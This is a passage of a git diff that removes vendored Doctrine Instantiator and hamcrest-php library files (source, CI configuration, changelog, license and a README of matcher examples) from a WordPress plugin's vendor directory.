"%s" via un-serialization', - $reflectionClass->getName(), - ), - 0, - $exception, - ); - } - - /** - * @phpstan-param ReflectionClass $reflectionClass - * - * @template T of object - */ - public static function fromUncleanUnSerialization( - ReflectionClass $reflectionClass, - string $errorString, - int $errorCode, - string $errorFile, - int $errorLine, - ): self { - return new self( - sprintf( - 'Could not produce an instance of "%s" via un-serialization, since an error was triggered ' - . 'in file "%s" at line "%d"', - $reflectionClass->getName(), - $errorFile, - $errorLine, - ), - 0, - new Exception($errorString, $errorCode), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Instantiator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Instantiator.php deleted file mode 100644 index f803f89a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Instantiator.php +++ /dev/null @@ -1,255 +0,0 @@ - $className - * - * @phpstan-return T - * - * @throws ExceptionInterface - * - * @template T of object - */ - public function instantiate(string $className): object - { - if (isset(self::$cachedCloneables[$className])) { - /** @phpstan-var T */ - $cachedCloneable = self::$cachedCloneables[$className]; - - return clone $cachedCloneable; - } - - if (isset(self::$cachedInstantiators[$className])) { - $factory = self::$cachedInstantiators[$className]; - - return $factory(); - } - - return $this->buildAndCacheFromFactory($className); - } - - /** - * Builds the requested object and caches it in static properties for performance - * - * @phpstan-param class-string $className - * - * @phpstan-return T - * - * @template T of object - */ - private function buildAndCacheFromFactory(string $className): object - { - $factory = self::$cachedInstantiators[$className] = $this->buildFactory($className); - $instance = $factory(); - - if ($this->isSafeToClone(new ReflectionClass($instance))) { - self::$cachedCloneables[$className] = clone $instance; - } - - return $instance; - } - - /** - * Builds a callable capable of instantiating the given $className without - * invoking its constructor. - * - * @phpstan-param class-string $className - * - * @phpstan-return callable(): T - * - * @throws InvalidArgumentException - * @throws UnexpectedValueException - * @throws ReflectionException - * - * @template T of object - */ - private function buildFactory(string $className): callable - { - $reflectionClass = $this->getReflectionClass($className); - - if ($this->isInstantiableViaReflection($reflectionClass)) { - return [$reflectionClass, 'newInstanceWithoutConstructor']; - } - - $serializedString = sprintf( - '%s:%d:"%s":0:{}', - is_subclass_of($className, Serializable::class) ? self::SERIALIZATION_FORMAT_USE_UNSERIALIZER : self::SERIALIZATION_FORMAT_AVOID_UNSERIALIZER, - strlen($className), - $className, - ); - - $this->checkIfUnSerializationIsSupported($reflectionClass, $serializedString); - - return static fn () => unserialize($serializedString); - } - - /** - * @phpstan-param class-string $className - * - * @phpstan-return ReflectionClass - * - * @throws InvalidArgumentException - * @throws ReflectionException - * - * @template T of object - */ - private function getReflectionClass(string $className): ReflectionClass - { - if (! class_exists($className)) { - throw InvalidArgumentException::fromNonExistingClass($className); - } - - if (enum_exists($className, false)) { - throw InvalidArgumentException::fromEnum($className); - } - - $reflection = new ReflectionClass($className); - - if ($reflection->isAbstract()) { - throw InvalidArgumentException::fromAbstractClass($reflection); - } - - return $reflection; - } - - /** - * @phpstan-param ReflectionClass $reflectionClass - * - * @throws UnexpectedValueException - * - * @template T of object - */ - private function checkIfUnSerializationIsSupported(ReflectionClass $reflectionClass, string $serializedString): void - { - set_error_handler(static function (int $code, string $message, string $file, int $line) use ($reflectionClass, &$error): bool { - $error = UnexpectedValueException::fromUncleanUnSerialization( - $reflectionClass, - $message, - $code, - $file, - $line, - ); - - return true; - }); - - try { - $this->attemptInstantiationViaUnSerialization($reflectionClass, $serializedString); - } finally { - restore_error_handler(); - } - - if ($error) { - throw $error; - } - } - - /** - * @phpstan-param ReflectionClass $reflectionClass - * - * @throws UnexpectedValueException - * - * @template T of object - */ - private function attemptInstantiationViaUnSerialization(ReflectionClass $reflectionClass, string $serializedString): void - { - try { - unserialize($serializedString); - } catch (Exception $exception) { - throw UnexpectedValueException::fromSerializationTriggeredException($reflectionClass, $exception); - } - } - - /** - * @phpstan-param ReflectionClass $reflectionClass - * - * @template T of object - */ - private function isInstantiableViaReflection(ReflectionClass $reflectionClass): bool - { - return ! ($this->hasInternalAncestors($reflectionClass) && $reflectionClass->isFinal()); - } - - /** - * Verifies whether the given class is to be considered internal - * - * @phpstan-param ReflectionClass $reflectionClass - * - * @template T of object - */ - private function hasInternalAncestors(ReflectionClass $reflectionClass): bool - { - do { - if ($reflectionClass->isInternal()) { - return true; - } - - $reflectionClass = $reflectionClass->getParentClass(); - } while ($reflectionClass); - - return false; - } - - /** - * Checks if a class is cloneable - * - * Classes implementing `__clone` cannot be safely cloned, as that may cause side-effects. - * - * @phpstan-param ReflectionClass $reflectionClass - * - * @template T of object - */ - private function isSafeToClone(ReflectionClass $reflectionClass): bool - { - return $reflectionClass->isCloneable() - && ! $reflectionClass->hasMethod('__clone') - && ! $reflectionClass->isSubclassOf(ArrayIterator::class); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/InstantiatorInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/InstantiatorInterface.php deleted file mode 100644 index c6ebe351..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/InstantiatorInterface.php +++ /dev/null @@ -1,24 +0,0 @@ - $className - * - * @phpstan-return T - * - * @throws ExceptionInterface - * - * @template T of object - */ - public function instantiate(string $className): object; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.coveralls.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.coveralls.yml deleted file mode 100644 index f2f9ed58..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.coveralls.yml +++ /dev/null @@ -1 +0,0 @@ -src_dir: hamcrest diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.github/workflows/tests.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.github/workflows/tests.yml deleted file mode 100644 index 06255a1b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.github/workflows/tests.yml +++ /dev/null @@ -1,38 +0,0 @@ -name: tests - -on: - push: - pull_request: - -jobs: - tests: - - runs-on: ubuntu-latest - strategy: - matrix: - php: ['7.0', '7.1', '7.2', '7.3', '7.4', '8.0'] - - name: PHP ${{ matrix.php }} - - steps: - - name: Checkout code - uses: actions/checkout@v2 - - - name: Setup PHP - uses: shivammathur/setup-php@v2 - with: - php-version: ${{ matrix.php }} - extensions: curl - tools: composer:v2 - coverage: none - - - name: Install PHP 7 dependencies - run: composer update --prefer-dist --no-interaction --no-progress - if: "matrix.php != '8.0'" - - - name: Install PHP 8 dependencies - run: composer update --prefer-dist --no-interaction --no-progress --ignore-platform-reqs - if: "matrix.php == '8.0'" - - - name: Execute tests - run: vendor/bin/phpunit -c tests/phpunit.xml.dist diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.gitignore b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.gitignore deleted file mode 100644 index 987e2a25..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -composer.lock -vendor diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.gush.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.gush.yml deleted file mode 100644 index b7c226d5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.gush.yml +++ /dev/null @@ -1,7 +0,0 @@ -adapter: github -issue_tracker: github -meta-header: "Copyright (c) 2009-2015 hamcrest.org" -table-pr: - fixed_tickets: ['Fixed Tickets', ''] - license: ['License', MIT] -base: master diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.travis.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.travis.yml deleted file mode 100644 index 3b5651fa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.travis.yml +++ /dev/null @@ -1,23 +0,0 @@ -language: php - -dist: trusty - -matrix: - include: - - name: PHP 5.3 - php: 5.3 - dist: precise - - name: PHP 5.4 - php: 5.4 - - name: PHP 5.5 - php: 5.5 - - name: PHP 5.6 - php: 5.6 - - name: HHVM 3.18 - php: hhvm-3.18 - -install: - - travis_retry composer update --prefer-dist --no-progress - -script: - - vendor/bin/phpunit -c tests/phpunit.xml.dist diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/CHANGES.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/CHANGES.txt deleted file mode 100644 index bad8bcfe..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/CHANGES.txt +++ /dev/null @@ -1,173 +0,0 @@ -== Version 2.0.1: Released Jul 09 2020 == - -* Added support for PHP 8 - - -== Version 2.0: Released Feb 26 2016 == - -* Removed automatic loading of global functions - - -== Version 1.1.0: Released Feb 2 2012 == - -Issues Fixed: 121, 138, 147 - -* Added non-empty matchers to complement the emptiness-matching forms. - - - nonEmptyString() - - nonEmptyArray() - - nonEmptyTraversable() - -* Added ability to pass variable arguments to several array-based matcher - factory methods so they work like allOf() et al. - - - anArray() - - arrayContainingInAnyOrder(), containsInAnyOrder() - - arrayContaining(), contains() - - stringContainsInOrder() - -* Matchers that accept an array of matchers now also accept variable arguments. - Any non-matcher arguments are wrapped by IsEqual. - -* Added noneOf() as a shortcut for not(anyOf()). - - -== Version 1.0.0: Released Jan 20 2012 == - -Issues Fixed: 119, 136, 139, 141, 148, 149, 172 - -* Moved hamcrest.php into Hamcrest folder and renamed to Hamcrest.php. - This is more in line with PEAR packaging standards. - -* Renamed callable() to callableValue() for compatibility with PHP 5.4. - -* Added Hamcrest_Text_StringContainsIgnoringCase to assert using stripos(). - - assertThat('fOObAr', containsStringIgnoringCase('oba')); - assertThat('fOObAr', containsString('oba')->ignoringCase()); - -* Fixed Hamcrest_Core_IsInstanceOf to return false for native types. - -* Moved string-based matchers to Hamcrest_Text package. - StringContains, StringEndsWith, StringStartsWith, and SubstringMatcher - -* Hamcrest.php and Hamcrest_Matchers.php are now built from @factory doctags. - Added @factory doctag to every static factory method. - -* Hamcrest_Matchers and Hamcrest.php now import each matcher as-needed - and Hamcrest.php calls the matchers directly instead of Hamcrest_Matchers. - - -== Version 0.3.0: Released Jul 26 2010 == - -* Added running count to Hamcrest_MatcherAssert with methods to get and reset it. - This can be used by unit testing frameworks for reporting. - -* Added Hamcrest_Core_HasToString to assert return value of toString() or __toString(). - - assertThat($anObject, hasToString('foo')); - -* Added Hamcrest_Type_IsScalar to assert is_scalar(). - Matches values of type bool, int, float, double, and string. - - assertThat($count, scalarValue()); - assertThat('foo', scalarValue()); - -* Added Hamcrest_Collection package. - - - IsEmptyTraversable - - IsTraversableWithSize - - assertThat($iterator, emptyTraversable()); - assertThat($iterator, traversableWithSize(5)); - -* Added Hamcrest_Xml_HasXPath to assert XPath expressions or the content of nodes in an XML/HTML DOM. - - assertThat($dom, hasXPath('books/book/title')); - assertThat($dom, hasXPath('books/book[contains(title, "Alice")]', 3)); - assertThat($dom, hasXPath('books/book/title', 'Alice in Wonderland')); - assertThat($dom, hasXPath('count(books/book)', greaterThan(10))); - -* Added aliases to match the Java API. - - hasEntry() -> hasKeyValuePair() - hasValue() -> hasItemInArray() - contains() -> arrayContaining() - containsInAnyOrder() -> arrayContainingInAnyOrder() - -* Added optional subtype to Hamcrest_TypeSafeMatcher to enforce object class or resource type. - -* Hamcrest_TypeSafeDiagnosingMatcher now extends Hamcrest_TypeSafeMatcher. - - -== Version 0.2.0: Released Jul 14 2010 == - -Issues Fixed: 109, 111, 114, 115 - -* Description::appendValues() and appendValueList() accept Iterator and IteratorAggregate. [111] - BaseDescription::appendValue() handles IteratorAggregate. - -* assertThat() accepts a single boolean parameter and - wraps any non-Matcher third parameter with equalTo(). - -* Removed null return value from assertThat(). [114] - -* Fixed wrong variable name in contains(). [109] - -* Added Hamcrest_Core_IsSet to assert isset(). - - assertThat(array('foo' => 'bar'), set('foo')); - assertThat(array('foo' => 'bar'), notSet('bar')); - -* Added Hamcrest_Core_IsTypeOf to assert built-in types with gettype(). [115] - Types: array, boolean, double, integer, null, object, resource, and string. - Note that gettype() returns "double" for float values. - - assertThat($count, typeOf('integer')); - assertThat(3.14159, typeOf('double')); - assertThat(array('foo', 'bar'), typeOf('array')); - assertThat(new stdClass(), typeOf('object')); - -* Added type-specific matchers in new Hamcrest_Type package. - - - IsArray - - IsBoolean - - IsDouble (includes float values) - - IsInteger - - IsObject - - IsResource - - IsString - - assertThat($count, integerValue()); - assertThat(3.14159, floatValue()); - assertThat('foo', stringValue()); - -* Added Hamcrest_Type_IsNumeric to assert is_numeric(). - Matches values of type int and float/double or strings that are formatted as numbers. - - assertThat(5, numericValue()); - assertThat('-5e+3', numericValue()); - -* Added Hamcrest_Type_IsCallable to assert is_callable(). - - assertThat('preg_match', callable()); - assertThat(array('SomeClass', 'SomeMethod'), callable()); - assertThat(array($object, 'SomeMethod'), callable()); - assertThat($object, callable()); - assertThat(function ($x, $y) { return $x + $y; }, callable()); - -* Added Hamcrest_Text_MatchesPattern for regex matching with preg_match(). - - assertThat('foobar', matchesPattern('/o+b/')); - -* Added aliases: - - atLeast() for greaterThanOrEqualTo() - - atMost() for lessThanOrEqualTo() - - -== Version 0.1.0: Released Jul 7 2010 == - -* Created PEAR package - -* Core matchers - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/LICENSE.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/LICENSE.txt deleted file mode 100644 index 91cd329a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/LICENSE.txt +++ /dev/null @@ -1,27 +0,0 @@ -BSD License - -Copyright (c) 2000-2014, www.hamcrest.org -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -Redistributions of source code must retain the above copyright notice, this list of -conditions and the following disclaimer. Redistributions in binary form must reproduce -the above copyright notice, this list of conditions and the following disclaimer in -the documentation and/or other materials provided with the distribution. - -Neither the name of Hamcrest nor the names of its contributors may be used to endorse -or promote products derived from this software without specific prior written -permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY -EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES -OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT -SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR -BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY -WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH -DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/README.md deleted file mode 100644 index 52e20413..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/README.md +++ /dev/null @@ -1,488 +0,0 @@ -This is the PHP port of Hamcrest Matchers -========================================= - -[![Build Status](https://travis-ci.org/hamcrest/hamcrest-php.png?branch=master)](https://travis-ci.org/hamcrest/hamcrest-php) - -Hamcrest is a matching library originally written for Java, but -subsequently ported to many other languages. hamcrest-php is the -official PHP port of Hamcrest and essentially follows a literal -translation of the original Java API for Hamcrest, with a few -Exceptions, mostly down to PHP language barriers: - - 1. `instanceOf($theClass)` is actually `anInstanceOf($theClass)` - - 2. `both(containsString('a'))->and(containsString('b'))` - is actually `both(containsString('a'))->andAlso(containsString('b'))` - - 3. `either(containsString('a'))->or(containsString('b'))` - is actually `either(containsString('a'))->orElse(containsString('b'))` - - 4. Unless it would be non-semantic for a matcher to do so, hamcrest-php - allows dynamic typing for it's input, in "the PHP way". Exception are - where semantics surrounding the type itself would suggest otherwise, - such as stringContains() and greaterThan(). - - 5. Several official matchers have not been ported because they don't - make sense or don't apply in PHP: - - - `typeCompatibleWith($theClass)` - - `eventFrom($source)` - - `hasProperty($name)` ** - - `samePropertyValuesAs($obj)` ** - - 6. When most of the collections matchers are finally ported, PHP-specific - aliases will probably be created due to a difference in naming - conventions between Java's Arrays, Collections, Sets and Maps compared - with PHP's Arrays. - ---- -** [Unless we consider POPO's (Plain Old PHP Objects) akin to JavaBeans] - - The POPO thing is a joke. Java devs coin the term POJO's (Plain Old - Java Objects). - - -Usage ------ - -Hamcrest matchers are easy to use as: - -```php -Hamcrest_MatcherAssert::assertThat('a', Hamcrest_Matchers::equalToIgnoringCase('A')); -``` - -Alternatively, you can use the global proxy-functions: - -```php -$result = true; -// with an identifier -assertThat("result should be true", $result, equalTo(true)); - -// without an identifier -assertThat($result, equalTo(true)); - -// evaluate a boolean expression -assertThat($result === true); - -// with syntactic sugar is() -assertThat(true, is(true)); -``` - -:warning: **NOTE:** the global proxy-functions aren't autoloaded by default, so you will need to load them first: - -```php -\Hamcrest\Util::registerGlobalFunctions(); -``` - -For brevity, all of the examples below use the proxy-functions. - - -Documentation -------------- -A tutorial can be found on the [Hamcrest site](https://code.google.com/archive/p/hamcrest/wikis/TutorialPHP.wiki). - - -Available Matchers ------------------- -* [Array](../master/README.md#array) -* [Collection](../master/README.md#collection) -* [Object](../master/README.md#object) -* [Numbers](../master/README.md#numbers) -* [Type checking](../master/README.md#type-checking) -* [XML](../master/README.md#xml) - - -### Array - -* `anArray` - evaluates an array -```php -assertThat([], anArray()); -``` - -* `hasItemInArray` - check if item exists in array -```php -$list = range(2, 7, 2); -$item = 4; -assertThat($list, hasItemInArray($item)); -``` - -* `hasValue` - alias of hasItemInArray - -* `arrayContainingInAnyOrder` - check if array contains elements in any order -```php -assertThat([2, 4, 6], arrayContainingInAnyOrder([6, 4, 2])); -assertThat([2, 4, 6], arrayContainingInAnyOrder([4, 2, 6])); -``` - -* `containsInAnyOrder` - alias of arrayContainingInAnyOrder - -* `arrayContaining` - An array with elements that match the given matchers in the same order. -```php -assertThat([2, 4, 6], arrayContaining([2, 4, 6])); -assertthat([2, 4, 6], not(arrayContaining([6, 4, 2]))); -``` - -* `contains` - check array in same order -```php -assertThat([2, 4, 6], contains([2, 4, 6])); -``` - -* `hasKeyInArray` - check if array has given key -```php -assertThat(['name'=> 'foobar'], hasKeyInArray('name')); -``` - -* `hasKey` - alias of hasKeyInArray - -* `hasKeyValuePair` - check if arary has given key, value pair -```php -assertThat(['name'=> 'foobar'], hasKeyValuePair('name', 'foobar')); -``` -* `hasEntry` - same as hasKeyValuePair - -* `arrayWithSize` - check array has given size -```php -assertthat([2, 4, 6], arrayWithSize(3)); -``` -* `emptyArray` - check if array is emtpy -```php -assertThat([], emptyArray()); -``` - -* `nonEmptyArray` -```php -assertThat([1], nonEmptyArray()); -``` - -### Collection - -* `emptyTraversable` - check if traversable is empty -```php -$empty_it = new EmptyIterator; -assertThat($empty_it, emptyTraversable()); -``` - -* `nonEmptyTraversable` - check if traversable isn't empty -```php -$non_empty_it = new ArrayIterator(range(1, 10)); -assertThat($non_empty_it, nonEmptyTraversable()); -a -``` - -* `traversableWithSize` -```php -$non_empty_it = new ArrayIterator(range(1, 10)); -assertThat($non_empty_it, traversableWithSize(count(range(1, 10)))); -` -``` - -### Core - -* `allOf` - Evaluates to true only if ALL of the passed in matchers evaluate to true. -```php -assertThat([2,4,6], allOf(hasValue(2), arrayWithSize(3))); -``` - -* `anyOf` - Evaluates to true if ANY of the passed in matchers evaluate to true. -```php -assertThat([2, 4, 6], anyOf(hasValue(8), hasValue(2))); -``` - -* `noneOf` - Evaluates to false if ANY of the passed in matchers evaluate to true. -```php -assertThat([2, 4, 6], noneOf(hasValue(1), hasValue(3))); -``` - -* `both` + `andAlso` - This is useful for fluently combining matchers that must both pass. -```php -assertThat([2, 4, 6], both(hasValue(2))->andAlso(hasValue(4))); -``` - -* `either` + `orElse` - This is useful for fluently combining matchers where either may pass, -```php -assertThat([2, 4, 6], either(hasValue(2))->orElse(hasValue(4))); -``` - -* `describedAs` - Wraps an existing matcher and overrides the description when it fails. -```php -$expected = "Dog"; -$found = null; -// this assertion would result error message as Expected: is not null but: was null -//assertThat("Expected {$expected}, got {$found}", $found, is(notNullValue())); -// and this assertion would result error message as Expected: Dog but: was null -//assertThat($found, describedAs($expected, notNullValue())); -``` - -* `everyItem` - A matcher to apply to every element in an array. -```php -assertThat([2, 4, 6], everyItem(notNullValue())); -``` - -* `hasItem` - check array has given item, it can take a matcher argument -```php -assertThat([2, 4, 6], hasItem(equalTo(2))); -``` - -* `hasItems` - check array has givem items, it can take multiple matcher as arguments -```php -assertThat([1, 3, 5], hasItems(equalTo(1), equalTo(3))); -``` - -### Object - -* `hasToString` - check `__toString` or `toString` method -```php -class Foo { - public $name = null; - - public function __toString() { - return "[Foo]Instance"; - } -} -$foo = new Foo; -assertThat($foo, hasToString(equalTo("[Foo]Instance"))); -``` - -* `equalTo` - compares two instances using comparison operator '==' -```php -$foo = new Foo; -$foo2 = new Foo; -assertThat($foo, equalTo($foo2)); -``` - -* `identicalTo` - compares two instances using identity operator '===' -```php -assertThat($foo, is(not(identicalTo($foo2)))); -``` - -* `anInstanceOf` - check instance is an instance|sub-class of given class -```php -assertThat($foo, anInstanceOf(Foo::class)); -``` - -* `any` - alias of `anInstanceOf` - -* `nullValue` check null -```php -assertThat(null, is(nullValue())); -``` - -* `notNullValue` check not null -```php -assertThat("", notNullValue()); -``` - -* `sameInstance` - check for same instance -```php -assertThat($foo, is(not(sameInstance($foo2)))); -assertThat($foo, is(sameInstance($foo))); -``` - -* `typeOf`- check type -```php -assertThat(1, typeOf("integer")); -``` - -* `notSet` - check if instance property is not set -```php -assertThat($foo, notSet("name")); -``` - -* `set` - check if instance property is set -```php -$foo->name = "bar"; -assertThat($foo, set("name")); -``` - -### Numbers - -* `closeTo` - check value close to a range -```php -assertThat(3, closeTo(3, 0.5)); -``` - -* `comparesEqualTo` - check with '==' -```php -assertThat(2, comparesEqualTo(2)); -``` - -* `greaterThan` - check '>' -``` -assertThat(2, greaterThan(1)); -``` - -* `greaterThanOrEqualTo` -```php -assertThat(2, greaterThanOrEqualTo(2)); -``` - -* `atLeast` - The value is >= given value -```php -assertThat(3, atLeast(2)); -``` -* `lessThan` -```php -assertThat(2, lessThan(3)); -``` - -* `lessThanOrEqualTo` -```php -assertThat(2, lessThanOrEqualTo(3)); -``` - -* `atMost` - The value is <= given value -```php -assertThat(2, atMost(3)); -``` - -### String - -* `emptyString` - check for empty string -```php -assertThat("", emptyString()); -``` - -* `isEmptyOrNullString` -```php -assertThat(null, isEmptyOrNullString()); -``` - -* `nullOrEmptyString` -```php -assertThat("", nullOrEmptyString()); -``` - -* `isNonEmptyString` -```php -assertThat("foo", isNonEmptyString()); -``` - -* `nonEmptyString` -```php -assertThat("foo", nonEmptyString()); -``` - -* `equalToIgnoringCase` -```php -assertThat("Foo", equalToIgnoringCase("foo")); -``` -* `equalToIgnoringWhiteSpace` -```php -assertThat(" Foo ", equalToIgnoringWhiteSpace("Foo")); -``` - -* `matchesPattern` - matches with regex pattern -```php -assertThat("foobarbaz", matchesPattern('/(foo)(bar)(baz)/')); -``` - -* `containsString` - check for substring -```php -assertThat("foobar", containsString("foo")); -``` - -* `containsStringIgnoringCase` -```php -assertThat("fooBar", containsStringIgnoringCase("bar")); -``` - -* `stringContainsInOrder` -```php -assertThat("foo", stringContainsInOrder("foo")); -``` - -* `endsWith` - check string that ends with given value -```php -assertThat("foo", endsWith("oo")); -``` - -* `startsWith` - check string that starts with given value -```php -assertThat("bar", startsWith("ba")); -``` - -### Type-checking - -* `arrayValue` - check array type -```php -assertThat([], arrayValue()); -``` - -* `booleanValue` -```php -assertThat(true, booleanValue()); -``` -* `boolValue` - alias of booleanValue - -* `callableValue` - check if value is callable -```php -$func = function () {}; -assertThat($func, callableValue()); -``` -* `doubleValue` -```php -assertThat(3.14, doubleValue()); -``` - -* `floatValue` -```php -assertThat(3.14, floatValue()); -``` - -* `integerValue` -```php -assertThat(1, integerValue()); -``` - -* `intValue` - alias of `integerValue` - -* `numericValue` - check if value is numeric -```php -assertThat("123", numericValue()); -``` - -* `objectValue` - check for object -```php -$obj = new stdClass; -assertThat($obj, objectValue()); -``` -* `anObject` -```php -assertThat($obj, anObject()); -``` - -* `resourceValue` - check resource type -```php -$fp = fopen("/tmp/foo", "w+"); -assertThat($fp, resourceValue()); -``` - -* `scalarValue` - check for scaler value -```php -assertThat(1, scalarValue()); -``` - -* `stringValue` -```php -assertThat("", stringValue()); -``` - -### XML - -* `hasXPath` - check xml with a xpath -```php -$xml = << - - 1 - - - 2 - - -XML; - -$doc = new DOMDocument; -$doc->loadXML($xml); -assertThat($doc, hasXPath("book", 2)); -``` - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/composer.json deleted file mode 100644 index 712ad965..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/composer.json +++ /dev/null @@ -1,37 +0,0 @@ -{ - "name": "hamcrest/hamcrest-php", - "type": "library", - "description": "This is the PHP port of Hamcrest Matchers", - "keywords": ["test"], - "license": "BSD-3-Clause", - "authors": [ - ], - - "autoload": { - "classmap": ["hamcrest"] - }, - "autoload-dev": { - "classmap": ["tests", "generator"] - }, - - "require": { - "php": "^5.3|^7.0|^8.0" - }, - - "require-dev": { - "phpunit/php-file-iterator": "^1.4 || ^2.0", - "phpunit/phpunit": "^4.8.36 || ^5.7 || ^6.5 || ^7.0" - }, - - "replace": { - "kodova/hamcrest-php": "*", - "davedevelopment/hamcrest-php": "*", - "cordoval/hamcrest-php": "*" - }, - - "extra": { - "branch-alias": { - "dev-master": "2.1-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryCall.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryCall.php deleted file mode 100644 index 83965b2a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryCall.php +++ /dev/null @@ -1,41 +0,0 @@ -method = $method; - $this->name = $name; - } - - public function getMethod() - { - return $this->method; - } - - public function getName() - { - return $this->name; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryClass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryClass.php deleted file mode 100644 index a09cb73c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryClass.php +++ /dev/null @@ -1,71 +0,0 @@ -file = $file; - $this->reflector = $class; - $this->extractFactoryMethods(); - } - - public function extractFactoryMethods() - { - $this->methods = array(); - foreach ($this->getPublicStaticMethods() as $method) { - if ($method->isFactory()) { - $this->methods[] = $method; - } - } - } - - public function getPublicStaticMethods() - { - $methods = array(); - foreach ($this->reflector->getMethods(ReflectionMethod::IS_STATIC) as $method) { - if ($method->isPublic() && $method->getDeclaringClass() == $this->reflector) { - $methods[] = new FactoryMethod($this, $method); - } - } - return $methods; - } - - public function getFile() - { - return $this->file; - } - - public function getName() - { - return $this->reflector->name; - } - - public function isFactory() - { - return !empty($this->methods); - } - - public function getMethods() - { - return $this->methods; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryFile.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryFile.php deleted file mode 100644 index dd6109b1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryFile.php +++ /dev/null @@ -1,121 +0,0 @@ -file = $file; - $this->indent = $indent; - } - - abstract public function addCall(FactoryCall $call); - - abstract public function build(); - - public function addFileHeader() - { - $this->code = ''; - 